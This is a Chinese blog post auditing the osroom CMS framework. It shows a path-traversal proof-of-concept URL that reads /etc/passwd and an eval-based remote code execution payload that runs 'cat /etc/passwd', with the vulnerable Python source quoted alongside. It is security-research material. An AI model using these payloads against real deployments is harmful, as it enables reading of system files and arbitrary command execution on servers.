一个cms框架osroom的审计

osroom

先上链接。 gitee

这个玩意到处都是洞.jpg

部署

任意文件读/写

1
apps\modules\theme_setting\process\static_file.py

读取静态文件模板的时候,直接使用了请求的参数进行拼接访问,导致可以任意读取文件

poc

1
http://localhost:5000/api/admin/static/file?file_path=pages/account/settings/../../../../../../../../etc&filename=passwd&theme_name=osr-theme-w
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def get_static_file_content():
"""
获取静态文件内容, 如html文件
:return:
"""
filename = request.argget.all('filename', "index").strip("/")
file_path = request.argget.all('file_path', "").strip("/")
theme_name = request.argget.all("theme_name")

s, r = arg_verify([(gettext("theme name"), theme_name)], required=True)
if not s:
return r

# curren_path = os.path.abspath(os.path.dirname(__file__))
# PROJECT_PATH = os.path.abspath("{}/../..".format(curren_path))
# APPS_PATH = os.path.abspath("{}/apps".format(PROJECT_PATH))
# THEME_TEMPLATE_FOLDER = "{}/themes".format(APPS_PATH)
path = os.path.join(
THEME_TEMPLATE_FOLDER, theme_name)

# path是{APPS_PATH}/themes
# {APPS_PATH}/themes / pages/account/settings/../../../../../../../../etc / passwd
file = "{}/{}/{}".format(path, file_path, filename)
# 最后拼接而成的file就变成了/etc/passwd,造成了任意文件读取
if not os.path.exists(file) or THEME_TEMPLATE_FOLDER not in file:
data = {"msg": gettext("File not found,'{}'").format(file),
"msg_type": "w", "custom_status": 404}
else:
with open(file) as wf:
content = wf.read()
data = {
"content": content,
"file_relative_path": file_path.replace(
path,
"").strip("/")}
return data

同理,下方还有 edit_static_file() 方法,同样有这个问题。

RCE

老生常谈 先直接搜索个 eval

image-20210718210947273

找到一个可以利用的问题文件:

1
apps\utils\format\obj_format.py

在方法 json_to_pyseq(tjson) 中,尝试使用 json.loads 进行加载json,失败就是用 eval

作者你好勇哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def json_to_pyseq(tjson):
"""
json to python sequencer
:param json:
:return:
"""
if tjson in [None, "None"]:
return None
elif not isinstance(tjson, (list, dict, tuple)) and tjson != "":
if isinstance(tjson, (str, bytes)) and tjson[0] not in ["{", "[", "("]:
return tjson
elif isinstance(tjson, (int, float)):
return tjson
try:
tjson = json.loads(tjson)
except BaseException:
tjson = eval(tjson)
else:
if isinstance(tjson, str):
tjson = eval(tjson)
return tjson

image-20210718210539039

不看不知道 一看吓一跳,我滴妈 这框架别用了(bushi

image-20210718210745458

image-20210718210805569

直接进行一个RCE

{rua:__import__('os').system('cat /etc/passwd')}

总结

一个很简单的框架代码审计,包含了一些新手常见的错,作者貌似已经放弃这框架了,上一个commit还是去年,祝用这个框架的人安好


一个cms框架osroom的审计
https://qiuye.ink/pages/879888/
作者
Akiba
发布于
2021年7月18日
许可协议